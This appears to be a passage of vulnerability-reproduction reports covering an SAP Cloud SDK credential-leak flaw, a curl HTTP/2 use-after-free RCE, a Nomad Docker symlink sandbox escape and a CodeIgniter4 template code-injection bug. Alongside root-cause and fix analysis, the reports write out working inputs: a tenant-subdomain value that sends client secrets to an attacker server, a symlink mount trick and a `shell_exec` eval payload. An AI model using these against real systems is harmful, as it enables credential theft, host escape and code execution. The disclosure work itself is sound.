HTTPS capture server (`attacker_server.py`, self-signed cert trusted via `REQUESTS_CA_BUNDLE`) that logs every inbound request and answers with a valid token response; - runs `harness.py`, which calls the real `TokenProvider.get_token(tenant_subdomain="127.0.0.1:/capture?")`; - verifies the captured request contains the client credentials; - force-reinstalls 0.45.2 and repeats: the fixed SDK must raise `ValueError: Invalid tenant_subdomain` and send nothing. 3. Expected evidence: `proof_vuln_capture.jsonl` contains a POST whose body includes `client_secret=TOP-SECRET-CLIENT-SECRET`, and the vulnerable harness returns `ATTACKER_ISSUED_TOKEN`; the fixed harness reports `rejected` and `proof_fixed_capture.jsonl` is empty. ## Evidence - `bundle/logs/reproduction_steps.log` — full run transcript. - `bundle/logs/proof_vuln_capture.jsonl` — attacker-server capture of the credential-bearing POST, e.g.: `POST /capture?.authentication.eu10.hana.ondemand.com/oauth/token` with body `grant_type=client_credentials&client_id=sb-destination-client%21t0&client_secret=TOP-SECRET-CLIENT-SECRET` (Host: `127.0.0.1:` — attacker server, not the SAP endpoint). - `bundle/logs/harness_vuln_result.json` — `{"sdk_version": "0.45.1", "status": "token_returned", "token": "ATTACKER_ISSUED_TOKEN"}`. - `bundle/logs/harness_fixed_result.json` — `{"sdk_version": "0.45.2", "status": "rejected", "error": "Invalid tenant_subdomain: '127.0.0.1:/capture?'"}`. - `bundle/logs/proof_fixed_capture.jsonl` — empty (no outbound request). - `bundle/repro/runtime_manifest.json` — entrypoint, target identity (wheel SHA-256), and per-artifact SHA-256 hashes. - Environment: Python 3.14 venv, real `sap-cloud-sdk` wheels from PyPI, OpenSSL 3.5.5 self-signed cert for the attacker HTTPS endpoint. ## Recommendations / Next Steps - Upgrade to `sap-cloud-sdk >= 0.45.2` (and prefer a currently validated release; independent reporting noted validation gaps in 0.53.0–0.55.0 with validation restored in 0.55.1). - The 0.45.2 fix approach (RFC 1123 label validation before substitution) is correct; defense-in-depth would additionally rebuild the URL by replacing only the hostname subcomponent instead of a free-text `str.replace` over the whole URL. - Applications should validate `tenant_subdomain` against an allowlist of registered tenants and monitor/alert on outbound token requests to unexpected hosts; rotate credentials suspected of exposure. ## Additional Notes - Idempotency: the script reuses its venv/wheels/certs when present and re-verifies versions each run; it was executed twice consecutively, both runs `RESULT: CONFIRMED` (exit 0). - The lab uses `https://127.0.0.1:` as the attacker host with a self-signed cert trusted only inside the test process (`REQUESTS_CA_BUNDLE`), keeping the OAuth2 transport HTTPS exactly as in production (oauthlib enforces HTTPS; no security feature was disabled). - The vulnerable surface is a library API (`claimed_surface=library_api`, `entrypoint_kind=function_call`), so a direct call into the real installed SDK is the production code path; no mock or reimplementation is used. ### Reproduction - Reproduced: 2026-10-15T13:44:20.256Z - Duration: 2424s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00387 # or: pruva-verify CVE-2026-89111 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00387 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00387/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00387 ================================================================================ ## REPRO-2026-00386: curl HTTP/2 upload Use-After-Free (RST_STREAM HTTP_1_1_REQUIRED/REFUSED_STREAM) leading to potential RCE -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00386 - CVE: CVE-2026-92392 (https://nvd.nist.gov/vuln/detail/CVE-2026-92392) ### Package Information - Name: curl (also affects libcurl) - Ecosystem: Unknown - Affected: Unknown - Fixed: Unknown - Severity: high - CVSS: Unknown - CWE: CWE-416 Use After Free (Use After Free) ### Root Cause # Root Cause Analysis: CVE-2026-92392 ## Summary curl 8.22.0 contains a use-after-free in the HTTP/2 upload retry path. When a malicious HTTP/2 peer resets an active upload with `HTTP_1_1_REQUIRED` or `REFUSED_STREAM`, libcurl converts the reset into a retry. In the vulnerable cleanup order, curl first tells the connection filters that the transfer is done and then lets request cleanup flush buffered upload bytes. Those bytes can be reinterpreted as a new HTTP/2 request, creating an unintended stream whose user data is the soon-to-be-freed `Curl_easy`. This run reproduced the complete disclosed exploit chain through the real curl tool: a malicious peer reclaimed and corrupted the freed object, induced a 99,056-byte forged-stream heap over-read, recovered fresh current-process libc and libcurl addresses despite ASLR, replaced the object with a fake `Curl_easy`, and triggered its attacker-selected debug callback as libc `system()`, creating a verifiable target-local marker. ## Impact - **Affected package/component:** curl/libcurl HTTP/2 upload and retry handling with nghttp2. - **Affected versions:** curl 8.22.0 and earlier according to the disclosed advisory. The vulnerable target used here is the exact curl 8.22.0 commit `01346829096c61b372692f6dc43ffa778c6caccd`. - **Fixed control:** commit `8b0744af5b1b631da5b938ca31c3f9895ad5a321` (`multi: adjust the cleanup order in multi_done`). - **Risk level:** High. A malicious HTTP/2 server can execute a command in the victim curl process when the victim uploads a suitable file. The exploit needs a large upload containing request-like text; the demonstrated ASLR-enabled chain also uses curl parallel mode (`-Z`) and a heap-layout-calibrated runtime. - **Consequence:** Remote command execution with the privileges and confinement of the curl process. The marker commands in the final isolated proof were `echo Vv1>mk_none` and `echo Vv2>mk_none`. ## Impact Parity - **Disclosed/claimed maximum impact:** Remote code execution (`code_execution`). - **Reproduced impact from this run:** Attacker-induced command execution through the production curl CLI and TCP/TLS/HTTP/2 boundary. Two fresh vulnerable processes created unique distinct marker files after independently leaking their randomized libc/libcurl bases. Two fixed processes reached the same malicious reset/stall path but created no resurrected stream, disclosure, callback trigger, or marker. - **Parity:** `full`. - **Not demonstrated:** The marker command is intentionally harmless and does not establish persistence or privilege escalation. Reliability outside the pinned exploit runtime was not claimed; the underlying UAF is broader than this heap-grooming calibration. ## Root Cause The failure is an ordering bug in `multi_done()` combined with HTTP/2 stream user data retaining a raw `Curl_easy *`: 1. curl uploads a large file over HTTP/2. The peer limits stream flow control so an upload remainder stays queued. 2. The malicious peer replies and sends `RST_STREAM(HTTP_1_1_REQUIRED or REFUSED_STREAM)`, causing libcurl to schedule a retry. 3. Vulnerable `multi_done()` calls `Curl_conn_ev_data_done(data, premature)` before `Curl_req_done(&data->req, data, premature)`. 4. Connection-filter teardown makes curl forget the original transfer/stream association. Request teardown then flushes the buffered upload remainder into the still-live connection. 5. If those file bytes parse as an HTTP request head, `h2_submit()` opens a new/resurrected stream and nghttp2 stores the raw `Curl_easy *` as stream user data. 6. The normal retry completes. The curl tool frees the easy handle, but the pooled HTTP/2 connection and resurrected stream retain the stale pointer. 7. The exploit uses attacker-controlled TLS 1.3 session-ticket sizes and HPACK header allocations to reclaim the freed 3,368-byte `Curl_easy`, then corrupt a `buf_chunk` associated with the orphaned stream. A window update makes curl transmit bytes outside the intended upload buffer. 8. The peer receives 99,056 leaked heap bytes and identifies `main_arena` and libcurl pointers. Those per-process values resolve libc `system()` under ASLR. 9. A final session ticket reoccupies the stale object with a fake `Curl_easy`: the command string begins at offset zero, `set.fdebug` points to the freshly resolved `system()`, and the verbose flag forces the callback path. An invalid HTTP/2 frame invokes `Curl_failf()`/tracing through the fake callback, executing the marker command. The disclosed exploit was originally calibrated with `ZT_V1=34660`, which leaked only upload prose in this runtime. Live heap analysis showed the current unsorted-piece geometry was smaller; changing only that first carve value to `ZT_V1=32400` preserved the intended `0xc50` remainder. Adjacent controls (`32160` and `32640`) failed to disclose pointers, while `32400` succeeded repeatedly. The upstream fixed commit is . It moves `Curl_req_done()` before `Curl_conn_ev_data_done()` so request bytes are finished while the connection filter still knows the transfer, and then explicitly tells filters to give up references before detaching the connection. In this run, the fixed build never created the resurrected stream. ## Reproduction Steps 1. Run `bundle/repro/reproduction_steps.sh` from any directory. `PRUVA_ROOT` may be set to the bundle path. 2. The script resolves the prepared project cache, verifies the exact vulnerable and fixed source commits and cleanup-order hunk, and verifies or rebuilds a pinned Ubuntu 24.04 exploit image containing stock non-ASAN curl 8.22.0, nghttp2 1.59.0, OpenSSL 3.0.13, and glibc 2.39. 3. It builds the exact fixed commit with the same compiler, flags, dependencies, and runtime closure. 4. For each attempt, the script starts the real malicious TLS/HTTP/2 TCP peer and invokes the actual curl tool as: ```text curl -Z -T sample_docs.md https://127.0.0.1:/x https://127.0.0.1:/y ``` 5. It runs two isolated vulnerable attempts and requires each to show a resurrected stream, a full 115,439-byte forged transfer, a 99,056-byte leaked-memory artifact, independently resolved libc/libcurl bases, the final fake-object callback trigger, and an actual `marker.txt` copied from the curl process's working directory. 6. It runs two isolated fixed attempts with the same peer and packet sequence and requires each to reach the HTTP/2 reset/stall path without resurrection, disclosure, callback trigger, or marker. 7. It verifies that the two vulnerable libc/libcurl bases differ, proving that ASLR is active and that addresses were reacquired from each live process rather than reused as constants. 8. Expected final output is: ```text [+] CONFIRMED: malicious HTTP/2 peer achieved command execution in curl 8.22.0 (2/2); fixed commit blocked the chain (2/2) ``` ## Evidence The final script was run twice consecutively and passed both times. The latest immutable proof is bound by `bundle/repro/runtime_manifest.json`. ### Vulnerable process 1 - Peer transcript: `bundle/repro/rce-vuln-1/server.log` - curl transcript: `bundle/repro/rce-vuln-1/victim.log` - Leaked bytes: `bundle/repro/rce-vuln-1/leak.bin` (99,056 bytes) - Actual command marker: `bundle/repro/rce-vuln-1/marker.txt` - Marker value: ```text Vv1 ``` - Key peer evidence: ```text *** RESURRECTED stream 5 ... Z9: pulled 115439 bytes of DATA on S'=5 (wanted 115439) Z9: leaked 99056 bytes Z9: libc_base=0x7f8bb0400000 by 5 vote(s) ... system=0x7f8bb0458750; libcurl_base=0x7f8bb0e4b000 Z10: sent NST(final fake, 2832 B, fdebug=0x7f8bb0458750, cmd=b'echo Vv1>mk_none') ... ``` ### Vulnerable process 2 - Peer transcript: `bundle/repro/rce-vuln-2/server.log` - Leaked bytes: `bundle/repro/rce-vuln-2/leak.bin` (99,056 bytes) - Marker: `bundle/repro/rce-vuln-2/marker.txt` - Independently randomized/disclosed addresses: ```text libc_base=0x7fa11e705000 libcurl_base=0x7fa11f150000 system=0x7fa11e75d750 ``` These differ from vulnerable process 1. `/proc/sys/kernel/randomize_va_space` was `2`; the exploit did not read `/proc` in the final proof. ### Fixed negative controls - `bundle/repro/rce-fixed-1/server.log` - `bundle/repro/rce-fixed-2/server.log` - `bundle/repro/rce-fixed-1/victim-cwd-ls.txt` - `bundle/repro/rce-fixed-2/victim-cwd-ls.txt` Both controls show the listener, TLS/HTTP/2 preface, 586,035-byte upload, first reset, retry, and second stalled upload. For example: ```text conn0: learned 586035 body bytes ... RST_STREAM(REFUSED_STREAM) conn1: A#2 stalled at 360447 body bytes -> trigger refused ``` Neither control contains `RESURRECTED`, `Z9`, or `Z10`; each victim directory is empty and `marker-name.txt` contains only a newline. ### Build and mitigation identity - `bundle/logs/repro/rce-vulnerable-identity.log`: curl 8.22.0 executable/library/libc checksums and version. - `bundle/logs/repro/rce-vulnerable-mitigations.log`: PIE (`ET_DYN`), NX stack, RELRO, symbols, build ID, and loader resolution. - `bundle/logs/repro/rce-fixed-mitigations.log`: corresponding fixed-build evidence. - `bundle/logs/repro/randomize_va_space.log`: kernel ASLR setting. - Vulnerable executable SHA-256: `ee31384e2df166f57d7dbdf3f8a7f9f368a38f8ddcf8ef4e80ca038c06931ae7`. - Vulnerable libcurl SHA-256: `ee986196347fe90ba808c6fa5dcde03ce4d27a08a16fa339b454a74e6785ef53`. - glibc SHA-256: `d8db8739a1633c972cec6a4fe0566bdcec6fd088f98723492ab0361f66238f75`. - Fixed ELF SHA-256: `216e8087e5b4a496d76eb3133687c6a748ce7da1dc7cc808de7a1e001393d68f`. - Fixed libcurl SHA-256: `74b322c9f6492924604a8546d3c0302a8be05f02a544b5f0425c2ff7c334f53d`. ## Recommendations / Next Steps - Upgrade to curl 8.23.0 or another release containing commit `8b0744af5b1b631da5b938ca31c3f9895ad5a321`. - For backports, ensure `Curl_req_done()` occurs before `Curl_conn_ev_data_done()` and that connection filters release all `Curl_easy` references before the object can be detached/freed. - Add regression tests for both `HTTP_1_1_REQUIRED` and `REFUSED_STREAM`, large flow-controlled uploads, retry paths, request-like patterns at multiple upload offsets, parallel transfers, connection-pool shutdown, and frame delivery to stale stream IDs. - Exercise those tests with ASAN and non-sanitized hardened builds. - Consider replacing raw `Curl_easy *` nghttp2 stream user data with a validated identifier/lookup so a stale stream cannot directly retain an object address. ## Additional Notes - The final production proof uses no sanitizer and keeps certificate verification enabled. The malicious peer certificate is signed by an isolated test CA installed in the pinned container. - The reproducer is idempotent and passed twice consecutively, with two fresh vulnerable and two fresh fixed processes per invocation. - The vulnerability trigger itself is not tied to this exact heap. Full command execution is allocator/build sensitive, so the reproducer pins the target closure and verifies its binary hashes before running. - Later glibc `double free or corruption` aborts are expected after the marker has been created because the exploit deliberately corrupts allocator/object state. Marker creation and fixed negative controls, not the final abort, are the command-execution oracle. - The final bounded marker commands are `echo Vv1>mk_none` and `echo Vv2>mk_none`; each is at most 23 bytes because the fake object's `multi` field begins at offset 24. Fixed attempts receive distinct candidate commands `echo Vf1>mk_none` and `echo Vf2>mk_none`, but create no file. ### Reproduction - Reproduced: 2026-10-14T20:02:27.468Z - Duration: 18345s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00386 # or: pruva-verify CVE-2026-92392 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00386 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00386/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00386 ================================================================================ ## REPRO-2026-00385: HashiCorp Nomad's Docker task driver can be tricked into bind-mounting host paths via a symlink containment bypass, enabling sandbox escape and host file read/write. -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00385 - CVE: CVE-2026-14891 (https://nvd.nist.gov/vuln/detail/CVE-2026-14891) ### Package Information - Name: hashicorp/nomad - Ecosystem: other - Affected: Nomad CE 0.4.1 through 2.0.3 (all releases prior to 2.0.4); Nomad Enterprise prior to 2.0.4 / 1.11.8 / 1.10.14 - Fixed: 2.0.4 - Severity: high - CVSS: Unknown - CWE: CWE-59 Improper Link Resolution Before File Access (Link Following) ### Root Cause # Root Cause Analysis — CVE-2026-14891 ## Summary HashiCorp Nomad's Docker task driver (Community Edition ≤ 2.0.3) validates bind-mount sources with a purely **lexical** path-containment check (`isParentPath`) when volume bind mounts are disabled. Because the check never resolves symbolic links, a job submitter can supply a mount whose source path *appears* to be inside the task's allocation directory but is actually a symlink that resolves to an arbitrary host path. The Docker daemon follows the symlink at bind-mount time, mounting the host path read-write into the task container — a sandbox escape from the allocation directory that grants host filesystem read/write even though volume bind mounts are disabled (the default). ## Impact - **Package/component affected:** `drivers/docker` plugin of HashiCorp Nomad (`drivers/docker/driver.go`: `toDockerMount()` and `containerBinds()`). - **Affected versions:** Nomad Community Edition ≤ 2.0.3 and Nomad Enterprise ≤ 2.0.3 / 1.11.7 / 1.10.13 (fixed in Nomad CE/EE 2.0.4, EE 1.11.8, EE 1.10.14; advisory HCSEC-2026-21). - **Risk level:** High (CVSS 3.1 8.7, CWE-59). An authenticated job submitter (or any API client when ACLs are disabled) can read and write arbitrary files on the Nomad client host filesystem from inside a container, escaping the intended allocation sandbox. ## Impact Parity - **Disclosed/claimed maximum impact:** Sandbox escape via Docker task driver — bind-mount host paths into a container despite bind mounts being disabled, allowing reading and writing files on the host filesystem. - **Reproduced impact from this run:** Full parity. On Nomad 2.0.3 with `volumes.enabled = false`, the Docker-driver task's bind mount (`source = "../alloc/escape-root"`, a symlink to `/` planted by a prestart task in the same allocation) was accepted, and the task container received the whole Docker-daemon host filesystem mounted read-write at `/host-escape`. The task **read** the host's `/etc/hostname` (`fc9e2e9012df`, matching `docker info --format '{{.Name}}'`) and **wrote** a marker file to a host path outside the allocation directory (`/workspace/host-escape-zone/ESCAPE_WRITE_OK_*.txt`), observable on the host filesystem. The identical job against Nomad 2.0.4 was rejected (`volumes are not enabled; cannot mount host path`) with no host write. - **Parity:** `full`. - **Not demonstrated:** Nothing material to the claim. (No arbitrary *code* execution on the host was claimed or needed; the escape primitive itself — arbitrary host file read/write from inside the container — was demonstrated.) ## Root Cause In Nomad 2.0.3, `drivers/docker/driver.go` `toDockerMount()` handled task-configured `mounts` of type `bind` as follows: ```go case "bind": hm.Source = expandPath(task.TaskDir().Dir, hm.Source) // paths inside alloc dir are always allowed as they mount within // a container, and treated as relative to task dir if !d.config.Volumes.Enabled && !isParentPath(task.AllocDir, hm.Source) { return nil, fmt.Errorf( "volumes are not enabled; cannot mount host path: %q %q", hm.Source, task.AllocDir) } ``` `isParentPath` (`drivers/docker/utils.go`) is purely lexical: ```go func isParentPath(parent, path string) bool { rel, err := filepath.Rel(parent, path) return err == nil && !strings.HasPrefix(rel, "..") } ``` `filepath.Rel` operates on path *strings* only; it never consults the filesystem. Therefore a source path that is lexically inside the allocation directory — but is a symlink on the host pointing anywhere, e.g. to `/` — passes the containment check. The same flawed check exists in `containerBinds()` for the legacy `volumes` task attribute. The expanded source path is then handed verbatim to the Docker daemon as a bind-mount source; the daemon/kernel resolves the symlink at mount time and mounts the symlink's *target*, so the task container gains access to host paths outside the allocation directory. An attacker who can submit Docker-driver jobs controls the content of the allocation directory on the client host (any task in the allocation can write to the shared alloc dir, which is bind-mounted into every task container at `/alloc`). A prestart task plants `escape-root -> /` there; the main task's mount source `../alloc/escape-root` expands to `/alloc//alloc/escape-root`, which is lexically inside `/alloc/` and therefore accepted by the vulnerable check. **Fix (v2.0.4, commit `5b83b133998a1f514beb81019930fb673b5ed669`):** the lexical `isParentPath` calls in `toDockerMount()` and `containerBinds()` were replaced by `escapingfs.ChildEscapesParentDir()` (new helper `helper/escapingfs/escapes.go`), which uses Go's `os.OpenRoot`/`root.Stat` to resolve symlinks inside the allocation directory and rejects any child that resolves to an absolute path outside it: ```go if !d.config.Volumes.Enabled { if err := escapingfs.ChildEscapesParentDir(task.AllocDir, hm.Source); err != nil { return nil, fmt.Errorf("volumes are not enabled; cannot mount host path: %q", hm.Source) } } ``` Vulnerable checkout `v2.0.3` (`a2a5fee9c42d6481adcb9be865bcbccf8fd4d725`) contains `isParentPath` and lacks the patch hunk; fixed checkout `v2.0.4` (`5b83b133998a1f514beb81019930fb673b5ed669`) contains `escapingfs.ChildEscapesParentDir` (verified via `git diff v2.0.3 v2.0.4 -- drivers/docker`). ## Reproduction Steps 1. Script: `bundle/repro/reproduction_steps.sh` (run from the bundle root: `bash bundle/repro/reproduction_steps.sh`; exit 0 = confirmed). 2. What the script does, end-to-end against the **real product**: - Verifies the Docker daemon is reachable and that `/workspace` is the same filesystem the daemon bind-mounts from (shared-host precondition), pulls `alpine:3.19`. - Downloads the official Nomad release binaries `2.0.3` (vulnerable) and `2.0.4` (fixed) from `releases.hashicorp.com`, verifying versions and recording SHA-256 digests. - For each of **two vulnerable (2.0.3) and two fixed (2.0.4) attempts**: starts a real single-node Nomad agent (server + client) with the Docker driver configured with `volumes { enabled = false }`, waits for `/v1/agent/health` (client+server ok) and for the `docker` driver to be detected on the node. Submits an identical batch job through the real HTTP API (`POST /v1/jobs`): a `prestart` Docker task plants `ln -sfn / /alloc/escape-root` in the shared allocation directory, and the main `escape` Docker task declares `mounts = [{ type = "bind", source = "../alloc/escape-root", target = "/host-escape", readonly = false }]` and then reads `/host-escape/etc/hostname` and writes `/host-escape/workspace/host-escape-zone/.txt`. The script then captures allocation state, task events, task stdout, the host-side marker file, and the agent log; stops the agent; and cleans up its data dir. - Writes `bundle/repro/runtime_manifest.json` with per-attempt proof artifacts and SHA-256 digests. 3. Expected evidence of reproduction (both observed in two consecutive runs): - **Vulnerable (2.0.3):** the `escape` task starts and exits 0; stdout shows `HOST_HOSTNAME=fc9e2e9012df` (the Docker daemon host's `/etc/hostname`) plus a full listing of the host root at `/host-escape`; the marker file appears on the host filesystem outside the allocation directory. - **Fixed (2.0.4):** the identical job fails closed with `Driver Failure: ... volumes are not enabled; cannot mount host path: "/alloc//alloc/escape-root"` / `Not Restarting: Error was unrecoverable`, and no marker is written. ## Evidence - Per-attempt evidence: `bundle/repro/artifacts/{vuln1,vuln2,fixed1,fixed2}/` - `job_request.json`, `job_submit_response.json` — real API request/response for job submission. - `alloc_detail.json`, `escape_task_events.txt` — task states/events. - `escape_task_stdout.log`, `prep_task_stdout.log` — task logs via the Nomad logs API. - `host_marker.txt` — copy of the file the task wrote on the host through the escaped bind mount (vulnerable attempts only). - `agent_attempt.log`, `attempt_summary.txt`. - Driver log: `bundle/logs/reproduction_steps.log`. - Key excerpts (vulnerable, `vuln1/escape_task_stdout.log`): ``` HOST_HOSTNAME=fc9e2e9012df ESCAPE_WRITE_OK_vuln1-1791556358 bin bundle certs dev etc home lib media mnt opt proc pruva root run sbin ... ``` (fixed, `fixed1/escape_task_events.txt`): ``` Driver Failure: Failed to create container configuration for image "alpine:3.19" (...): volumes are not enabled; cannot mount host path: "/workspace/nomad-repro/data-fixed1-1791556392/alloc//alloc/escape-root" Not Restarting: Error was unreverable [sic] / Error was unrecoverable ``` - Environment: Ubuntu 26.04 sandbox (linux/x86_64), rootless Docker daemon (Server 27.5.1) reachable at `unix:///run/user/1000/docker.sock`, sharing `/workspace` with the Nomad client; Nomad agents run as non-root user with the Docker driver only; volume bind mounts disabled (`volumes.enabled = false`, the plugin default). Target identity: Nomad 2.0.3 official release binary (revision `a2a5fee9c42d6481adcb9be865bcbccf8fd4d725`, binary SHA-256 `7f1d3e1e49566ed6c6239c16d3fe1d29af362904408b4d01c3f64fc630022156`); negative control: Nomad 2.0.4 (`5b83b133998a1f514beb81019930fb673b5ed669`, SHA-256 `f22cf977f100f938e0056cef4b4717288b5da1ecb0bb8d69cc2f563f82e63f43`). ## Recommendations / Next Steps - **Upgrade** to Nomad Community Edition 2.0.4+ (or Enterprise 2.0.4, 1.11.8, 1.10.14), which rejects symlink-resolved mount sources via `escapingfs.ChildEscapesParentDir` (`os.OpenRoot`). - Operators who cannot upgrade immediately should enable ACLs so that only authorized principals can submit Docker-driver jobs, and should treat job submitters as having potential host-filesystem access on clients. - Consider defense-in-depth: audit the Docker daemon's view of client filesystems, and restrict task-configured `mounts`/`volumes` via policy where possible. - Testing: regression test should submit a Docker-driver job whose mount source is a symlink inside the allocation directory pointing to an absolute host path, and assert rejection when `volumes.enabled = false` (the driver test suite in 2.0.4 contains such cases). ## Additional Notes - **Idempotency confirmation:** `reproduction_steps.sh` was executed twice consecutively in the same environment; both runs ended with `results: vuln1=escaped vuln2=escaped fixed1=blocked fixed2=blocked`, exit code 0, and a valid `runtime_manifest.json`. Job IDs and marker tokens are timestamp-unique so re-runs do not collide; each attempt uses a fresh agent data dir, and stale agents are killed before attempts start. - **Limitations / environment notes:** the "host" whose filesystem is escaped is the Docker-daemon host filesystem as seen by the Nomad client (in this sandbox, the rootless daemon container sharing `/workspace`). This is exactly the production model — Nomad client and Docker daemon on the same host. The mount is performed by the real Docker daemon following the real symlink planted through the real allocation-directory bind mount. In a production cluster the escape would apply to the Nomad *client* host's filesystem. The write was additionally verified from outside the container by observing the marker file appear on the host filesystem. - The `docker` driver logs a warning that running non-root disables NUMA/core scheduling; this does not affect the reproduction. The escape requires no privileged container, no caps, and works with the driver's default `volumes.enabled = false`. ### Reproduction - Reproduced: 2026-10-09T18:02:55.583Z - Duration: 6614s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00385 # or: pruva-verify CVE-2026-14891 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00385 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00385/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00385 ================================================================================ ## REPRO-2026-00384: CodeIgniter4 View Parser conditional tags allow arbitrary PHP code execution in user-editable templates -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00384 - GHSA: GHSA-4Q58-JW8X-8CM7 (https://github.com/codeigniter4/CodeIgniter4/security/advisories/GHSA-4q58-jw8x-8cm7) ### Package Information - Name: codeigniter4/framework (Composer ecosystem) - Ecosystem: composer - Affected: < 4.7.5 - Fixed: 4.7.5 - Severity: high - CVSS: Unknown - CWE: CWE-94 (Improper Control of Generation of Code ('Code Injection')) ### Root Cause # RCA Report — GHSA-4q58-jw8x-8cm7 ## Summary CodeIgniter4's View Parser evaluates `{if ...}` / `{elseif ...}` conditional tags by splicing the *unmodified* tag expression into a PHP `if (...)`: statement and running the resulting template through `eval()`. When an application renders user-editable template source (e.g. an online template editor) with `Parser::render()`/`renderString()`, any user who can edit the template can inject arbitrary PHP expressions into the conditional tag and achieve server-side arbitrary PHP code execution (CWE-94). Version 4.7.5 adds an opt-in restriction (`Config\View::$restrictParserConditionals` or the per-render `restrictConditionals` option) that tokenizes the condition and rejects anything beyond variables, literals, and comparison/logical operators. ## Impact - Package/component: `codeigniter4/framework`, `system/View/Parser.php` (`Parser::parseConditionals()`) - Affected versions: `< 4.7.5` (reproduced on v4.7.4, commit `2bd0f01d2813f9ec06db42643ce39d9f5428bf6d`); **4.7.5 remains exploitable unless the application explicitly enables `restrictParserConditionals` / the `restrictConditionals` render option** (confirmed at runtime). - Risk: High (CVSS 8.8). Remote, low-privilege attacker with template-edit capability gains full PHP code execution in the web server process: arbitrary command execution, file read/write, data theft, pivoting. ## Impact Parity - Disclosed/claimed maximum impact: arbitrary PHP code execution (code injection, CWE-94) via View Parser conditional tags — `code_execution`. - Reproduced impact from this run: arbitrary PHP code execution through the real HTTP endpoint of a running CodeIgniter 4.7.4 application. The payload `{if (file_put_contents(getenv('PRUVA_MARKER_DIR').'/vuln1.txt','...')!==false) && print(shell_exec('id'))}COND_BRANCH_OK{endif}` wrote attacker-named marker files to disk *and* returned the output of `shell_exec('id')` (`uid=1000(vscode) gid=1000(vscode) ...`) in the HTTP response body. - Parity: **full**. No gap between claimed and demonstrated impact. ## Root Cause `Parser::parseConditionals()` (v4.7.4, `system/View/Parser.php:455`) extracts each `{if CONDITION}` tag with a regex and replaces it with ``, embedding the attacker-controlled `CONDITION` verbatim into PHP source. The whole template is then executed with `eval('?>' . $template . 'tempData)`. The only sanitization applied beforehand is a `str_replace` of literal ``, which does nothing to stop code injected *through* the conditional expression itself. Because the condition is arbitrary PHP, expressions such as `(file_put_contents(...)!==false) && print(shell_exec('id'))` execute with the privileges of the PHP process. Fix (v4.7.5): `Parser::parseTemplate()` computes `$this->restrictConditionals = ... || (bool) ($options['restrictConditionals'] ?? $this->config->restrictParserConditionals)` and `parseConditionals()` throws `ViewException::forRestrictedConditional()` when `isRestrictedCondition()` (a `PhpToken::tokenize` allow-list of variables, literals, arithmetic/comparison/logical operators, and grouping parentheses) rejects the expression. The restriction is **opt-in** (`public bool $restrictParserConditionals = false;` default), so upgrading alone does not close the hole — verified at runtime in this run. Advisory: https://github.com/codeigniter4/CodeIgniter4/security/advisories/GHSA-4q58-jw8x-8cm7 Fix diff: `git diff v4.7.4 v4.7.5 -- system/View/Parser.php app/Config/View.php` ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (self-contained; run twice consecutively, both runs exit 0). 2. The script: - installs PHP CLI + composer if missing; - checks out CodeIgniter4 `v4.7.4` (vulnerable) into `/repo` and `v4.7.5` (fixed) into `bundle/artifacts/ci475`, verifying the patch hunk is absent/present; - `composer install --no-dev` in both apps; - injects a `TemplateRender` controller exposing `POST /render`, which passes the request's `template` body straight into `service('parser')->setData([...])->renderString($template, $options)` (with `restrictConditionals=true` when `restrict=1`); - serves both apps over HTTP with the PHP built-in web server (the exact command `php spark serve` execs), health-checks `GET /`; - sends the conditional-tag payload twice per scenario and asserts: - v4.7.4: marker file created with the unique token **and** `uid=` from `shell_exec('id')` present in the HTTP response (RCE confirmed); - v4.7.5 + `restrict=1`: no marker, no `uid=`, response is a 500 `ViewException: The Parser conditional is not allowed in restricted mode`; - v4.7.5 + `restrict=0` (default): marker created, `uid=` present — advisory note "upgrading alone is insufficient" confirmed. 3. Expected evidence: `[+] vuln attempt N: arbitrary PHP executed`, `[+] fixed-restricted attempt N: payload neutralized`, `[+] fixed-unrestricted attempt N: still exploitable`, final `RESULT: CONFIRMED`, exit code 0. ## Evidence - Full run log: `bundle/logs/reproduction_steps.log` - Server logs: `bundle/logs/vuln_server.log`, `bundle/logs/fixed_server.log` (PHP built-in server request logs for both apps) - HTTP request/response captures: `bundle/artifacts/http/` (e.g. `vuln1_request.txt` = payload, `vuln1_response.txt` contains `uid=1000(vscode) gid=1000(vscode) groups=1000(vscode)` + `COND_BRANCH_OK`; `fixedr1_response.txt` contains the `ViewException` restricted-mode message) - Marker files written by the eval'd payload: `bundle/repro/markers/vuln1.txt`, `vuln2.txt`, `fixedu1.txt`, `fixedu2.txt` (each contains the per-attempt unique token `GHSA-4q58-jw8x-8cm7 arbitrary PHP executed token=...`) - Runtime manifest with target identity and SHA-256 of every proof artifact: `bundle/repro/runtime_manifest.json` - Environment: Ubuntu 26.04, PHP 8.5.4 (cli, NTS), Composer 2.9.5, CodeIgniter v4.7.4 (`2bd0f01d...`) and v4.7.5 (`36256090...`), served via `php -S localhost:8090/8091` with `CI_ENVIRONMENT=production`. ## Recommendations / Next Steps - Upgrade to `codeigniter4/framework >= 4.7.5` **and** set `Config\View::$restrictParserConditionals = true` (or pass `['restrictConditionals' => true]` to every `render()`/`renderString()` call that processes less-trusted template source). Upgrading without enabling the restriction leaves the application exploitable. - Longer-term, the framework should consider making the restricted mode the default for `renderString()` of non-file templates. - Test recommendation: regression test asserting that a conditional tag containing a function call raises `ViewException::forRestrictedConditional` when restriction is enabled (this exact behavior was observed at runtime). ## Additional Notes - Idempotency: the script is fully re-runnable. It reuses the prepared project cache checkout 